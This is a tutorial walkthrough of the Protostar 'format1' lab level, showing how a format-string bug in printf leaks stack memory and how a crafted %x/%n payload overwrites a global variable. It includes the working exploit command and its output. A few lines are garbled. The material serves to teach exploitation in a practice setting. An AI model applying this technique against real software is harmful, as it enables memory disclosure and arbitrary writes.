0x17.
17. A simple Format String exploit example - bin.0x11
: Content
-> format string exploit
-> leaking stack memory
-> arbirary write
: First, what is the format string?
-> A typical function, "printf," is the printing of formalized data on standard output.
-> SYNOPSIS
#include <stdio.h>
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);
Tips. Almost the same functions can be used on Python.
-> Ex.) print “%d %x %s” % (123, 2056, “format string test”)
>>> 123 808 format string test
: How on earth can text be misused to print?
: Format1 (C code)(/opt/protostar/bin/format1)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln(char *string)
{
printf(string);
if(target) {
printf("you have modified the target :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
-> "Main" calls the "vuln" function using the string of "argv[1]".
-> And the string is located in "printf".
-> Then, ensure that the global variable target is present and modified.
: But how can you manipulate the variables in memory with "printf"?
-> ./format1 “%d”
-> 134518284
-> ./format1 “%d %d %d %d”
-> 134518284 -1073743896 134513769 -1208122620
-> ./fromat1 “%x %x %x %x”
-> 804960c bffff7e8 8048469 b7fd8304
-> What does the value starting with "buff" conjure up?
-> It's a stack address.
: The parameter is simply placed in the stack and then the function is called.
-> Therefore, if "printf" is used normally, the variable you want to output is placed in the stack.
-> What values are you reading because no variables are currently placed in the stack?
-> Obviously you are reading the "printf" you can find in the stack. That's all the value in the stack.
-> So what can you do with it?
-> Memory leak vulnerability is available.
-> All kinds of items from the stack can leak.
-> For example, a bug like "heartbleed" was a leak in some memory.
: See "man 3 printf" to identify vulnerabilities.
-> "%n" is already printed text as the amount of output.
-> A variable is part of the memory.
-> And we know that we need to use a pointer to position the area.
-> Therefore, to draw up a legitimate C program with "%n", pointers to integers must be placed.
: Conclusion. Whatever the value in the stack, it is used as a position with "printf".
-> Use "objdump -t" to find all the symbols in this binary.
-> format1: file format elf32-i386
SYMBOL TABLE:
08048114 l d .interp 00000000 .interp
08048128 l d .note.ABI-tag 00000000 .note.ABI-tag
08048148 l d .note.gnu.build-id 00000000 .note.gnu.build-id
0804816c l d .hash 00000000 .hash
08048198 l d .gnu.hash 00000000 .gnu.hash
080481b8 l d .dynsym 00000000 .dynsym
08048218 l d .dynstr 00000000 .dynstr
0804826a l d .gnu.version 00000000 .gnu.version
08048278 l d .gnu.version_r 00000000 .gnu.version_r
08048298 l d .rel.dyn 00000000 .rel.dyn
080482a0 l d .rel.plt 00000000 .rel.plt
080482c0 l d .init 00000000 .init
080482f0 l d .plt 00000000 .plt
08048340 l d .text 00000000 .text
080484dc l d .fini 00000000 .fini
080484f8 l d .rodata 00000000 .rodata
08048520 l d .eh_frame 00000000 .eh_frame
08049524 l d .ctors 00000000 .ctors
0804952c l d .dtors 00000000 .dtors
08049534 l d .jcr 00000000 .jcr
08049538 l d .dynamic 00000000 .dynamic
08049608 l d .got 00000000 .got
0804960c l d .got.plt 00000000 .got.plt
08049628 l d .data 00000000 .data
08049630 l d .bss 00000000 .bss
00000000 l d .stab 00000000 .stab
00000000 l d .stabstr 00000000 .stabstr
00000000 l d .comment 00000000 .comment
00000000 l df *ABS* 00000000 crtstuff.c
08049524 l O .ctors 00000000 __CTOR_LIST__
0804952c l O .dtors 00000000 __DTOR_LIST__
08049534 l O .jcr 00000000 __JCR_LIST__
08048370 l F .text 00000000 __do_global_dtors_aux
08049630 l O .bss 00000001 completed.5982
08049634 l O .bss 00000004 dtor_idx.5984
080483d0 l F .text 00000000 frame_dummy
00000000 l df *ABS* 00000000 crtstuff.c
08049528 l O .ctors 00000000 __CTOR_END__
08048520 l O .eh_frame 00000000 __FRAME_END__
08049534 l O .jcr 00000000 __JCR_END__
080484b0 l F .text 00000000 __do_global_ctors_aux
00000000 l df *ABS* 00000000 format1.c
0804960c l O .got.plt 00000000 .hidden _GLOBAL_OFFSET_TABLE_
08049524 l .ctors 00000000 .hidden __init_array_end
08049524 l .ctors 00000000 .hidden __init_array_start
08049538 l O .dynamic 00000000 .hidden _DYNAMIC
08049628 w .data 00000000 data_start
08048440 g F .text 00000005 __libc_csu_fini
08048340 g F .text 00000000 _start
00000000 w *UND* 00000000 __gmon_start__
00000000 w *UND* 00000000 _Jv_RegisterClasses
080484f8 g O .rodata 00000004 _fp_hw
080484dc g F .fini 00000000 _fini
00000000 F *UND* 00000000 __libc_start_main@@GLIBC_2.0
080484fc g O .rodata 00000004 _IO_stdin_used
08049628 g .data 00000000 __data_start
0804962c g O .data 00000000 .hidden __dso_handle
08049530 g O .dtors 00000000 .hidden __DTOR_END__
08048450 g F .text 0000005a __libc_csu_init
00000000 F *UND* 00000000 printf@@GLIBC_2.0
08049630 g *ABS* 00000000 __bss_start
080483f4 g F .text 00000028 vuln
08049638 g O .bss 00000004 target
0804963c g *ABS* 00000000 _end
00000000 F *UND* 00000000 puts@@GLIBC_2.0
08049630 g *ABS* 00000000 _edata
080484aa g F .text 00000000 .hidden __i686.get_pc_thunk.bx
0804841c g F .text 0000001b main
080482c0 g F .init 00000000 _init
-> And here's the address of the target variable.
-> Now "printf" must find this address to write something on this location.
-> Let's experiment briefly with "python -c."
-> python -c “print ‘%x’*10”
-> %x%x%x%x%x%x%x%x%x%x
-> ./format1 "`python -c "print '%x '*10"`"
-> 804960c bffff7d8 8048469 b7fd8304 b7fd7ff4 bffff7d8 8048435 bffff99b b7ff1040 804845b
-> ./format1 "`python -c "print '%x '*100"`"
-> 804960c bffff6c8 8048469 b7fd8304 b7fd7ff4 bffff6c8 8048435 bffff88d b7ff1040 804845b b7fd7ff4 8048450 0 bffff748 b7eadc76 2 bffff774 bffff780 b7fe1848 bffff730 ffffffff b7ffeff4 804824d 1 bffff730 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff748 30396ab6 1a6cbca6 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff774 8048450 8048440 b7ff1040 bffff76c b7fff8f8 2 bffff883 bffff88d 0 bffff9ba bffff9c8 bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe0 0 20 b7fe2414 21 b7fe2000 10 f8bfbff 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9
-> ./format1 "`python -c "print '%x '*200"`"
-> 804960c bffff598 8048469 b7fd8304 b7fd7ff4 bffff598 8048435 bffff761 b7ff1040 804845b b7fd7ff4 8048450 0 bffff618 b7eadc76 2 bffff644 bffff650 b7fe1848 bffff600 ffffffff b7ffeff4 804824d 1 bffff600 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff618 bc3186e5 9662b0f5 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff644 8048450 8048440 b7ff1040 bffff63c b7fff8f8 2 bffff757 bffff761 0 bffff9ba bffff9c8 bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe0 0 20 b7fe2414 21 b7fe2000 10 f8bfbff 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff73b 1f bffffff2 f bffff74b 0 0 0 c000000 6345ad6b 25cd21ed d4478db3 69fab7a9 363836 0 2e000000 726f662f 3174616d 20782500 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520
-> What's this pattern that you find here?
-> The hexadecimal value can be ASCII.
-> A hexadecimal is only a space after all.
-> Use Python to convert hexadecimal values to ASCII characters.
-> python
>>> “25207825".decode('hex')
'% x%'
-> To facilitate recognition of these ASCII values, some strings are added.
-> ./format1 "`python -c "print ‘AAAAAAAA’+'%x '*200"`"
-> AAAAAAAA804960c bffff588 8048469 b7fd8304 b7fd7ff4 bffff588 8048435 bffff759 b7ff1040 804845b b7fd7ff4 8048450 0 bffff608 b7eadc76 2 bffff634 bffff640 b7fe1848 bffff5f0 ffffffff b7ffeff4 804824d 1 bffff5f0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff608 5576e88a 7f25be9a 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff634 8048450 8048440 b7ff1040 bffff62c b7fff8f8 2 bffff74f bffff759 0 bffff9ba bffff9c8 bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe0 0 20 b7fe2414 21 b7fe2000 10 f8bfbff 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff72b 1f bffffff2 f bffff73b 0 0 0 4d000000 e4a44918 e8fad54e b5a7c977 69163573 363836 0 0 0 2e000000 726f662f 3174616d 41414100 41414141 20782541 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078
-> This is because program arguments are simply stored in the stack, such as environment variables.
-> That is, the destination's address can be placed directly in the stack.
-> You can reacquire the address of the target and then add the address to the string.
Tips. Wrapping "A" and "B" makes it easy to find in the output.
-> ./format1 "`python -c "print 'AAAA'+'\x38\x96\x04\x08'+'BBBBB'+'%x '*200"`"
-> AAAA8BBBBB804960c bffff588 8048469 b7fd8304 b7fd7ff4 bffff588 8048435 bffff754 b7ff1040 804845b b7fd7ff4 8048450 0 bffff608 b7eadc76 2 bffff634 bffff640 b7fe1848 bffff5f0 ffffffff b7ffeff4 804824d 1 bffff5f0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff608 47fa0e37 6da95827 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff634 8048450 8048440 b7ff1040 bffff62c b7fff8f8 2 bffff74a bffff754 0 bffff9ba bffff9c8 bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe0 0 20 b7fe2414 21 b7fe2000 10 f8bfbff 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff72b 1f bffffff2 f bffff73b 0 0 0 5e000000 97aa4f5d e7a45c08 85e82fea 699a8ac1 363836 0 0 2f2e0000 6d726f66 317461 41414141 8049638 42424242 20782542 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078
-> Theoretically we should change this address to "%n" instead of "%x" printing.
-> The location of the address should be made into the last part through trial and error.
-> ./format1 "`python -c "print 'AAAA'+'\x38\x96\x04\xBBBBB'+'%x '*128"`"
(Same) -> ./format1 "`python -c "print 'AAAA'+'\x38\x96\x04\x08'+'BBBBB'+'%x '*127+'%x '"`"
-> AAAA8BBBBB804960c bffff668 8048469 b7fd8304 b7fd7ff4 bffff668 8048435 bffff82c b7ff1040 804845b b7fd7ff4 8048450 0 bffff6e8 b7eadc76 2 bffff714 bffff720 b7fe1848 bffff6d0 ffffffff b7ffeff4 804824d 1 bffff6d0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6e8 d18da1f8 fbd937e8 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff714 8048450 8048440 b7ff1040 bffff70c b7fff8f8 2 bffff822 bffff82c 0 bffff9ba bffff9c8 bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe0 0 20 b7fe2414 21 b7fe2000 10 f8bfbff 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff80b 1f bffffff2 f bffff81b 0 0 0 2e000000 a071f497 bd439730 23fe257b 692f5983 363836 2f2e0000 6d726f66 317461 41414141 8049638
-> ./format1 "`python -c "print 'AAAA'+'\x38\x96\x04\x08'+'BBBBB'+'%x '*127+'%n '"`"
-> AAAA8BBBBB804960c bffff668 8048469 b7fd8304 b7fd7ff4 bffff668 8048435 bffff82c b7ff1040 804845b b7fd7ff4 8048450 0 bffff6e8 b7eadc76 2 bffff714 bffff720 b7fe1848 bffff6d0 ffffffff b7ffeff4 804824d 1 bffff6d0 b7ff0626 b7fffab0 b7fe1b28 b7fd7ff4 0 0 bffff6e8 ad7dc38e 8729559e 0 0 0 2 8048340 0 b7ff6210 b7eadb9b b7ffeff4 2 8048340 0 8048361 804841c 2 bffff714 8048450 8048440 b7ff1040 bffff70c b7fff8f8 2 bffff822 bffff82c 0 bffff9ba bffff9c8 bffff9d3 bffff9f4 bffffa07 bffffa11 bfffff01 bfffff3f bfffff53 bfffff6a bfffff7b bfffff83 bfffff93 bfffffa0 bfffffd4 bfffffe0 0 20 b7fe2414 21 b7fe2000 10 f8bfbff 6 1000 11 64 3 8048034 4 20 5 7 7 b7fe3000 8 0 9 8048340 b 3e9 c 0 d 3e9 e 3e9 17 1 19 bffff80b 1f bffffff2 f bffff81b 0 0 0 4a000000 9164bbf1 a378a948 e2385165 69072c2f 363836 2f2e0000 6d726f66 317461 41414141 you have modified the target :)
: If you can write anywhere in the memory can overwrite any content you can imagine.
: Final Python Code
-> ./format1 "`python -c "print 'AAAA'+'\x38\x96\x04\x08'+'BBBBB'+'%x '*127+'%n '"`"
Tips. Here are some tips to help you work with format string exploits. It is good to keep the attack string the same length all the time.
-> Ex.) python
>>> def pad(s):
… (TAB) return (s+”A”*500)[:500]
…
>>> pad(”Hallo “)
'Hallo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'